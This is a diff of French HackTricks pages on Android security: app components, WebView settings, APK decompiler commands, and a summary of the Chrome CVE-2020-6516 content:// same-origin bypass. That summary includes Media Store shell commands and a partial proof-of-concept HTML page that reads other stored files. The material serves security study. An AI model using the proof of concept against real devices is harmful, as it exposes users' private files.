**Les récepteurs de diffusion** agissent comme des écouteurs dans un système de messagerie, permettant à plusieurs applications de répondre aux mêmes messages du système. Une application peut **enregistrer un récepteur** de **deux manières principales** : via le **Manifest** de l'application ou **dynamiquement** dans le code de l'application via l'API **`registerReceiver`**. Dans le Manifest, les diffusions sont filtrées avec des permissions, tandis que les récepteurs enregistrés dynamiquement peuvent également spécifier des permissions lors de l'enregistrement.
|
||||
|
||||
Les **filtres d'intention** sont cruciaux dans les deux méthodes d'enregistrement, déterminant quelles diffusions déclenchent le récepteur. Une fois qu'une diffusion correspondante est envoyée, la méthode **`onReceive`** du récepteur est invoquée, permettant à l'application de réagir en conséquence, comme ajuster le comportement en réponse à une alerte de batterie faible.
|
||||
**Les filtres d'intention** sont cruciaux dans les deux méthodes d'enregistrement, déterminant quelles diffusions déclenchent le récepteur. Une fois qu'une diffusion correspondante est envoyée, la méthode **`onReceive`** du récepteur est invoquée, permettant à l'application de réagir en conséquence, comme ajuster le comportement en réponse à une alerte de batterie faible.
|
||||
|
||||
Les diffusions peuvent être soit **asynchrones**, atteignant tous les récepteurs sans ordre, soit **synchrones**, où les récepteurs reçoivent la diffusion en fonction des priorités définies. Cependant, il est important de noter le risque potentiel pour la sécurité, car toute application peut se donner la priorité pour intercepter une diffusion.
|
||||
Les diffusions peuvent être **asynchrones**, atteignant tous les récepteurs sans ordre, ou **synchrones**, où les récepteurs reçoivent la diffusion en fonction des priorités définies. Cependant, il est important de noter le risque de sécurité potentiel, car n'importe quelle application peut se prioriser pour intercepter une diffusion.
|
||||
|
||||
Pour comprendre la fonctionnalité d'un récepteur, recherchez la méthode **`onReceive`** dans sa classe. Le code de cette méthode peut manipuler l'Intention reçue, soulignant la nécessité d'une validation des données par les récepteurs, en particulier dans les **Diffusions ordonnées**, qui peuvent modifier ou supprimer l'Intention.
|
||||
Pour comprendre la fonctionnalité d'un récepteur, recherchez la méthode **`onReceive`** dans sa classe. Le code de cette méthode peut manipuler l'Intent reçu, soulignant la nécessité de validation des données par les récepteurs, en particulier dans les **Diffusions Ordonnées**, qui peuvent modifier ou supprimer l'Intent.
|
||||
|
||||
### Fournisseur de contenu
|
||||
### Content Provider
|
||||
|
||||
Les **fournisseurs de contenu** sont essentiels pour **partager des données structurées** entre les applications, mettant en avant l'importance de mettre en place des **autorisations** pour garantir la sécurité des données. Ils permettent aux applications d'accéder à des données provenant de différentes sources, y compris des bases de données, des systèmes de fichiers ou le web. Des autorisations spécifiques, telles que **`readPermission`** et **`writePermission`**, sont cruciales pour contrôler l'accès. De plus, un accès temporaire peut être accordé via les paramètres **`grantUriPermission`** dans le manifest de l'application, en utilisant des attributs tels que `path`, `pathPrefix` et `pathPattern` pour un contrôle d'accès détaillé.
|
||||
**Les Fournisseurs de Contenu** sont essentiels pour **partager des données structurées** entre les applications, soulignant l'importance de la mise en œuvre de **permissions** pour garantir la sécurité des données. Ils permettent aux applications d'accéder à des données provenant de diverses sources, y compris des bases de données, des systèmes de fichiers ou le web. Des permissions spécifiques, comme **`readPermission`** et **`writePermission`**, sont cruciales pour contrôler l'accès. De plus, un accès temporaire peut être accordé via les paramètres **`grantUriPermission`** dans le manifest de l'application, en utilisant des attributs tels que `path`, `pathPrefix` et `pathPattern` pour un contrôle d'accès détaillé.
|
||||
|
||||
La validation des entrées est primordiale pour prévenir les vulnérabilités, telles que les injections SQL. Les fournisseurs de contenu prennent en charge des opérations de base : `insert()`, `update()`, `delete()` et `query()`, facilitant la manipulation et le partage de données entre les applications.
|
||||
La validation des entrées est primordiale pour prévenir les vulnérabilités, telles que l'injection SQL. Les Fournisseurs de Contenu prennent en charge les opérations de base : `insert()`, `update()`, `delete()`, et `query()`, facilitant la manipulation et le partage des données entre les applications.
|
||||
|
||||
**FileProvider**, un Fournisseur de contenu spécialisé, se concentre sur le partage sécurisé de fichiers. Il est défini dans le manifest de l'application avec des attributs spécifiques pour contrôler l'accès aux dossiers, indiqués par `android:exported` et `android:resource` pointant vers des configurations de dossiers. Il est conseillé de faire preuve de prudence lors du partage de répertoires pour éviter d'exposer involontairement des données sensibles.
|
||||
**FileProvider**, un Fournisseur de Contenu spécialisé, se concentre sur le partage sécurisé de fichiers. Il est défini dans le manifest de l'application avec des attributs spécifiques pour contrôler l'accès aux dossiers, désignés par `android:exported` et `android:resource` pointant vers les configurations de dossier. Une prudence est conseillée lors du partage de répertoires pour éviter d'exposer involontairement des données sensibles.
|
||||
|
||||
Déclaration de manifeste exemple pour FileProvider:
|
||||
Exemple de déclaration de manifest pour FileProvider :
|
||||
```xml
|
||||
<provider android:name="androidx.core.content.FileProvider"
|
||||
android:authorities="com.example.myapp.fileprovider"
|
||||
|
@ -330,49 +332,49 @@ android:exported="false">
|
|||
android:resource="@xml/filepaths" />
|
||||
</provider>
|
||||
```
|
||||
Et un exemple de spécification de dossiers partagés dans `filepaths.xml`:
|
||||
Et un exemple de spécification des dossiers partagés dans `filepaths.xml` :
|
||||
```xml
|
||||
<paths>
|
||||
<files-path path="images/" name="myimages" />
|
||||
</paths>
|
||||
```
|
||||
Pour plus d'informations, consultez :
|
||||
- [Développeurs Android : Fournisseurs de contenu](https://developer.android.com/guide/topics/providers/content-providers)
|
||||
- [Développeurs Android : FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing)
|
||||
- [Android Developers : Content Providers](https://developer.android.com/guide/topics/providers/content-providers)
|
||||
- [Android Developers : FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing)
|
||||
|
||||
## WebViews
|
||||
|
||||
Les WebViews sont comme des **mini navigateurs web** à l'intérieur des applications Android, récupérant du contenu soit du web soit de fichiers locaux. Ils sont confrontés à des risques similaires à ceux des navigateurs classiques, mais il existe des moyens de **réduire ces risques** grâce à des **paramètres spécifiques**.
|
||||
Les WebViews sont comme des **mini navigateurs web** à l'intérieur des applications Android, tirant du contenu soit du web, soit de fichiers locaux. Ils font face à des risques similaires à ceux des navigateurs classiques, mais il existe des moyens de **réduire ces risques** grâce à des **paramètres** spécifiques.
|
||||
|
||||
Android propose deux principaux types de WebView :
|
||||
Android propose deux types principaux de WebView :
|
||||
|
||||
- **WebViewClient** est idéal pour le HTML de base mais ne prend pas en charge la fonction d'alerte JavaScript, ce qui affecte la manière dont les attaques XSS peuvent être testées.
|
||||
- **WebChromeClient** se comporte davantage comme l'expérience complète du navigateur Chrome.
|
||||
- **WebViewClient** est excellent pour le HTML de base mais ne prend pas en charge la fonction d'alerte JavaScript, ce qui affecte la manière dont les attaques XSS peuvent être testées.
|
||||
- **WebChromeClient** agit davantage comme l'expérience complète du navigateur Chrome.
|
||||
|
||||
Un point clé est que les navigateurs WebView ne **partagent pas les cookies** avec le navigateur principal de l'appareil.
|
||||
|
||||
Pour le chargement du contenu, des méthodes telles que ````loadUrl````, ````loadData````, et ````loadDataWithBaseURL```` sont disponibles. Il est crucial de s'assurer que ces URL ou fichiers sont **sûrs à utiliser**. Les paramètres de sécurité peuvent être gérés via la classe ````WebSettings````. Par exemple, désactiver JavaScript avec ````setJavaScriptEnabled(false)```` peut prévenir les attaques XSS.
|
||||
Pour charger du contenu, des méthodes telles que ````loadUrl````, ````loadData````, et ````loadDataWithBaseURL```` sont disponibles. Il est crucial de s'assurer que ces URL ou fichiers sont **sûrs à utiliser**. Les paramètres de sécurité peuvent être gérés via la classe ````WebSettings````. Par exemple, désactiver JavaScript avec ````setJavaScriptEnabled(false)```` peut prévenir les attaques XSS.
|
||||
|
||||
Le "Bridge" JavaScript permet aux objets Java d'interagir avec JavaScript, exigeant que les méthodes soient marquées avec ````@JavascriptInterface```` pour la sécurité à partir d'Android 4.2.
|
||||
Le "Bridge" JavaScript permet aux objets Java d'interagir avec JavaScript, nécessitant que les méthodes soient marquées avec ````@JavascriptInterface```` pour la sécurité à partir d'Android 4.2.
|
||||
|
||||
Autoriser l'accès au contenu (````setAllowContentAccess(true)````) permet aux WebViews d'accéder aux Fournisseurs de contenu, ce qui pourrait représenter un risque à moins que les URL de contenu ne soient vérifiées comme sécurisées.
|
||||
Autoriser l'accès au contenu (````setAllowContentAccess(true)````) permet aux WebViews d'accéder aux Content Providers, ce qui pourrait être un risque à moins que les URL de contenu ne soient vérifiées comme sécurisées.
|
||||
|
||||
Pour contrôler l'accès aux fichiers :
|
||||
- Désactiver l'accès aux fichiers (````setAllowFileAccess(false)````) limite l'accès au système de fichiers, avec des exceptions pour certains actifs, en veillant à ce qu'ils ne soient utilisés que pour du contenu non sensible.
|
||||
- Désactiver l'accès aux fichiers (````setAllowFileAccess(false)````) limite l'accès au système de fichiers, avec des exceptions pour certains actifs, garantissant qu'ils ne sont utilisés que pour du contenu non sensible.
|
||||
|
||||
## Autres composants d'application et gestion des appareils mobiles
|
||||
|
||||
### **Signature numérique des applications**
|
||||
|
||||
- La **signature numérique** est indispensable pour les applications Android, garantissant qu'elles sont **authentiquement authentifiées** avant l'installation. Ce processus utilise un certificat pour l'identification de l'application et doit être vérifié par le gestionnaire de packages de l'appareil lors de l'installation. Les applications peuvent être **auto-signées ou certifiées par une AC externe**, se protégeant contre les accès non autorisés et garantissant que l'application reste intacte lors de sa livraison à l'appareil.
|
||||
- La **signature numérique** est indispensable pour les applications Android, garantissant qu'elles sont **authentiquement créées** avant l'installation. Ce processus utilise un certificat pour l'identification de l'application et doit être vérifié par le gestionnaire de paquets de l'appareil lors de l'installation. Les applications peuvent être **auto-signées ou certifiées par une CA externe**, protégeant contre l'accès non autorisé et garantissant que l'application reste intacte lors de sa livraison à l'appareil.
|
||||
|
||||
### **Vérification de l'application pour une sécurité renforcée**
|
||||
### **Vérification des applications pour une sécurité renforcée**
|
||||
|
||||
- À partir d'**Android 4.2**, une fonctionnalité appelée **Vérifier les applications** permet aux utilisateurs de vérifier la sécurité des applications avant l'installation. Ce **processus de vérification** peut avertir les utilisateurs contre les applications potentiellement dangereuses, voire empêcher l'installation de celles particulièrement malveillantes, renforçant la sécurité des utilisateurs.
|
||||
- À partir d'**Android 4.2**, une fonctionnalité appelée **Vérifier les applications** permet aux utilisateurs de faire vérifier les applications pour leur sécurité avant l'installation. Ce **processus de vérification** peut avertir les utilisateurs contre des applications potentiellement nuisibles, ou même empêcher l'installation de celles particulièrement malveillantes, renforçant ainsi la sécurité des utilisateurs.
|
||||
|
||||
### **Gestion des appareils mobiles (MDM)**
|
||||
|
||||
- Les **solutions MDM** fournissent une **surveillance et une sécurité** pour les appareils mobiles via l'**API d'administration des appareils**. Elles nécessitent l'installation d'une application Android pour gérer et sécuriser efficacement les appareils mobiles. Les fonctions clés incluent **l'application de politiques de mot de passe**, **l'obligation de chiffrement du stockage**, et **l'autorisation de l'effacement des données à distance**, garantissant un contrôle et une sécurité complets sur les appareils mobiles.
|
||||
- Les **solutions MDM** fournissent une **surveillance et une sécurité** pour les appareils mobiles via l'**API d'administration des appareils**. Elles nécessitent l'installation d'une application Android pour gérer et sécuriser efficacement les appareils mobiles. Les fonctions clés incluent **l'application des politiques de mot de passe**, **l'obligation de chiffrement du stockage**, et **la possibilité d'effacer des données à distance**, garantissant un contrôle et une sécurité complets sur les appareils mobiles.
|
||||
```java
|
||||
// Example of enforcing a password policy with MDM
|
||||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
||||
|
@ -383,22 +385,23 @@ if (dpm.isAdminActive(adminComponent)) {
|
|||
dpm.setPasswordMinimumLength(adminComponent, 8);
|
||||
}
|
||||
```
|
||||
**Groupe de sécurité Try Hard**
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,25 +1,26 @@
|
|||
# Décompilateurs APK
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Supportez HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
**Pour plus de détails sur chaque outil, consultez l'article original sur [https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr](https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr)**
|
||||
|
||||
**Pour plus de détails sur chaque outil, consultez le post original de [https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr](https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr)**
|
||||
|
||||
### [JD-Gui](https://github.com/java-decompiler/jd-gui)
|
||||
|
||||
En tant que décompilateur Java GUI pionnier, **JD-Gui** vous permet d'analyser le code Java dans les fichiers APK. Il est facile à utiliser ; après avoir obtenu l'APK, il vous suffit de l'ouvrir avec JD-Gui pour inspecter le code.
|
||||
En tant que décompilateur Java GUI pionnier, **JD-Gui** vous permet d'examiner le code Java dans les fichiers APK. Il est simple à utiliser ; après avoir obtenu l'APK, ouvrez-le simplement avec JD-Gui pour inspecter le code.
|
||||
|
||||
### [Jadx](https://github.com/skylot/jadx)
|
||||
|
||||
|
@ -27,45 +28,45 @@ En tant que décompilateur Java GUI pionnier, **JD-Gui** vous permet d'analyser
|
|||
|
||||
- Pour lancer l'interface graphique, accédez au répertoire bin et exécutez : `jadx-gui`
|
||||
- Pour une utilisation en ligne de commande, décompilez un APK avec : `jadx app.apk`
|
||||
- Pour spécifier un répertoire de sortie ou ajuster les options de décompilation : `jadx app.apk -d <chemin du répertoire de sortie> --no-res --no-src --no-imports`
|
||||
- Pour spécifier un répertoire de sortie ou ajuster les options de décompilation : `jadx app.apk -d <chemin vers le répertoire de sortie> --no-res --no-src --no-imports`
|
||||
|
||||
### [GDA-android-reversing-Tool](https://github.com/charles2gan/GDA-android-reversing-Tool)
|
||||
|
||||
**GDA**, un outil uniquement disponible pour Windows, offre des fonctionnalités étendues pour l'ingénierie inverse des applications Android. Installez et exécutez GDA sur votre système Windows, puis chargez le fichier APK pour l'analyse.
|
||||
**GDA**, un outil uniquement pour Windows, offre des fonctionnalités étendues pour l'ingénierie inverse des applications Android. Installez et exécutez GDA sur votre système Windows, puis chargez le fichier APK pour analyse.
|
||||
|
||||
### [Bytecode-Viewer](https://github.com/Konloch/bytecode-viewer/releases)
|
||||
|
||||
Avec **Bytecode-Viewer**, vous pouvez analyser les fichiers APK en utilisant plusieurs décompilateurs. Après le téléchargement, exécutez Bytecode-Viewer, chargez votre APK, et sélectionnez les décompilateurs que vous souhaitez utiliser pour une analyse simultanée.
|
||||
Avec **Bytecode-Viewer**, vous pouvez analyser des fichiers APK en utilisant plusieurs décompilateurs. Après le téléchargement, exécutez Bytecode-Viewer, chargez votre APK et sélectionnez les décompilateurs que vous souhaitez utiliser pour une analyse simultanée.
|
||||
|
||||
### [Enjarify](https://github.com/Storyyeller/enjarify)
|
||||
|
||||
**Enjarify** traduit le bytecode Dalvik en bytecode Java, permettant aux outils d'analyse Java d'analyser plus efficacement les applications Android.
|
||||
|
||||
- Pour utiliser Enjarify, exécutez : `enjarify app.apk`
|
||||
Cela génère l'équivalent en bytecode Java de l'APK fourni.
|
||||
Cela génère l'équivalent du bytecode Java de l'APK fourni.
|
||||
|
||||
### [CFR](https://github.com/leibnitz27/cfr)
|
||||
|
||||
**CFR** est capable de décompiler des fonctionnalités Java modernes. Utilisez-le comme suit :
|
||||
**CFR** est capable de décompiler les fonctionnalités Java modernes. Utilisez-le comme suit :
|
||||
|
||||
- Pour une décompilation standard : `java -jar ./cfr.jar "app.jar" --outputdir "répertoire_de_sortie"`
|
||||
- Pour les grands fichiers JAR, ajustez l'allocation de mémoire JVM : `java -Xmx4G -jar ./cfr.jar "app.jar" --outputdir "répertoire_de_sortie"`
|
||||
- Pour une décompilation standard : `java -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
|
||||
- Pour de grands fichiers JAR, ajustez l'allocation de mémoire JVM : `java -Xmx4G -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
|
||||
|
||||
### [Fernflower](https://github.com/JetBrains/intellij-community/tree/master/plugins/java-decompiler/engine)
|
||||
|
||||
**Fernflower**, un décompilateur analytique, nécessite une construction à partir des sources. Après la construction :
|
||||
**Fernflower**, un décompilateur analytique, nécessite d'être construit à partir de la source. Après la construction :
|
||||
|
||||
- Décompilez un fichier JAR : `java -jar ./fernflower.jar "app.jar" "répertoire_de_sortie"`
|
||||
- Décompilez un fichier JAR : `java -jar ./fernflower.jar "app.jar" "output_directory"`
|
||||
Ensuite, extrayez les fichiers `.java` du JAR généré en utilisant `unzip`.
|
||||
|
||||
### [Krakatau](https://github.com/Storyyeller/Krakatau)
|
||||
|
||||
**Krakatau** offre un contrôle détaillé sur la décompilation, notamment pour la gestion des bibliothèques externes.
|
||||
**Krakatau** offre un contrôle détaillé sur la décompilation, en particulier pour le traitement des bibliothèques externes.
|
||||
|
||||
- Utilisez Krakatau en spécifiant le chemin de la bibliothèque standard et le fichier JAR à décompiler : `./Krakatau/decompile.py -out "répertoire_de_sortie" -skip -nauto -path "./jrt-extractor/rt.jar" "app.jar"`
|
||||
- Utilisez Krakatau en spécifiant le chemin de la bibliothèque standard et le fichier JAR à décompiler : `./Krakatau/decompile.py -out "output_directory" -skip -nauto -path "./jrt-extractor/rt.jar" "app.jar"`
|
||||
|
||||
### [procyon](https://github.com/mstrobel/procyon)
|
||||
|
||||
Pour une décompilation simple avec **procyon** :
|
||||
|
||||
- Décompilez un fichier JAR vers un répertoire spécifié : `procyon -jar "app.jar" -o "répertoire_de_sortie"`
|
||||
- Décompilez un fichier JAR dans un répertoire spécifié : `procyon -jar "app.jar" -o "output_directory"`
|
||||
|
|
|
@ -1,36 +1,37 @@
|
|||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
**Il s'agit d'un résumé de l'article [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
|
||||
**Ceci est un résumé du post [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
|
||||
|
||||
### Listing des fichiers dans le Media Store
|
||||
### Lister les fichiers dans le Media Store
|
||||
Pour lister les fichiers gérés par le Media Store, la commande ci-dessous peut être utilisée :
|
||||
```bash
|
||||
$ content query --uri content://media/external/file
|
||||
```
|
||||
Pour une sortie plus conviviale, affichez uniquement l'identifiant et le chemin de chaque fichier indexé :
|
||||
Pour une sortie plus conviviale, affichant uniquement l'identifiant et le chemin de chaque fichier indexé :
|
||||
```bash
|
||||
$ content query --uri content://media/external/file --projection _id,_data
|
||||
```
|
||||
Les fournisseurs de contenu sont isolés dans leur propre espace de noms privé. L'accès à un fournisseur nécessite l'URI spécifique `content://`. Les informations sur les chemins d'accès à un fournisseur peuvent être obtenues à partir des manifestes d'application ou du code source du framework Android.
|
||||
|
||||
### Accès de Chrome aux fournisseurs de contenu
|
||||
Chrome sur Android peut accéder aux fournisseurs de contenu via le schéma `content://`, lui permettant d'accéder à des ressources telles que des photos ou des documents exportés par des applications tierces. Pour illustrer cela, un fichier peut être inséré dans le Media Store, puis accédé via Chrome :
|
||||
Chrome sur Android peut accéder aux fournisseurs de contenu via le schéma `content://`, lui permettant d'accéder à des ressources comme des photos ou des documents exportés par des applications tierces. Pour illustrer cela, un fichier peut être inséré dans le Media Store et ensuite accessible via Chrome :
|
||||
|
||||
Insérer une entrée personnalisée dans le Media Store :
|
||||
```bash
|
||||
|
@ -48,19 +49,19 @@ content query --uri content://media/external/file \
|
|||
```
|
||||
Le fichier peut ensuite être consulté dans Chrome en utilisant une URL construite avec l'identifiant du fichier.
|
||||
|
||||
Par exemple, pour répertorier les fichiers liés à une application spécifique :
|
||||
Par exemple, pour lister les fichiers liés à une application spécifique :
|
||||
```bash
|
||||
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
|
||||
```
|
||||
### Chrome CVE-2020-6516: Contournement de la politique de même origine
|
||||
### Chrome CVE-2020-6516: Contournement de la Politique de Même Origine
|
||||
|
||||
La _Same Origin Policy_ (SOP) est un protocole de sécurité dans les navigateurs qui restreint les pages web à interagir avec des ressources provenant d'origines différentes, sauf si explicitement autorisé par une politique de partage de ressources entre origines (CORS). Cette politique vise à prévenir les fuites d'informations et les attaques de type Cross-Site Request Forgery. Chrome considère `content://` comme un schéma local, impliquant des règles SOP plus strictes, où chaque URL de schéma local est traitée comme une origine distincte.
|
||||
La _Politique de Même Origine_ (SOP) est un protocole de sécurité dans les navigateurs qui restreint les pages web d'interagir avec des ressources provenant d'origines différentes, sauf si cela est explicitement autorisé par une politique de Cross-Origin-Resource-Sharing (CORS). Cette politique vise à prévenir les fuites d'informations et le vol de requêtes inter-sites. Chrome considère `content://` comme un schéma local, impliquant des règles SOP plus strictes, où chaque URL de schéma local est traitée comme une origine distincte.
|
||||
|
||||
Cependant, la CVE-2020-6516 était une vulnérabilité dans Chrome qui permettait de contourner les règles SOP pour les ressources chargées via une URL `content://`. En pratique, le code JavaScript d'une URL `content://` pouvait accéder à d'autres ressources chargées via des URL `content://`, ce qui constituait une préoccupation majeure en termes de sécurité, notamment sur les appareils Android exécutant des versions antérieures à Android 10, où le stockage ciblé n'était pas implémenté.
|
||||
Cependant, CVE-2020-6516 était une vulnérabilité dans Chrome qui permettait de contourner les règles SOP pour les ressources chargées via une URL `content://`. En effet, le code JavaScript d'une URL `content://` pouvait accéder à d'autres ressources chargées via des URL `content://`, ce qui représentait une préoccupation majeure en matière de sécurité, en particulier sur les appareils Android exécutant des versions antérieures à Android 10, où le stockage scopé n'était pas implémenté.
|
||||
|
||||
La preuve de concept ci-dessous démontre cette vulnérabilité, où un document HTML, après avoir été téléversé sous **/sdcard** et ajouté au Media Store, utilise `XMLHttpRequest` dans son JavaScript pour accéder et afficher le contenu d'un autre fichier dans le Media Store, contournant les règles SOP.
|
||||
Le proof-of-concept ci-dessous démontre cette vulnérabilité, où un document HTML, après avoir été téléchargé sous **/sdcard** et ajouté au Media Store, utilise `XMLHttpRequest` dans son JavaScript pour accéder et afficher le contenu d'un autre fichier dans le Media Store, contournant les règles SOP.
|
||||
|
||||
Preuve de concept HTML:
|
||||
Proof-of-Concept HTML:
|
||||
```xml
|
||||
<html>
|
||||
<head>
|
||||
|
@ -93,16 +94,17 @@ xhr.send();
|
|||
|
||||
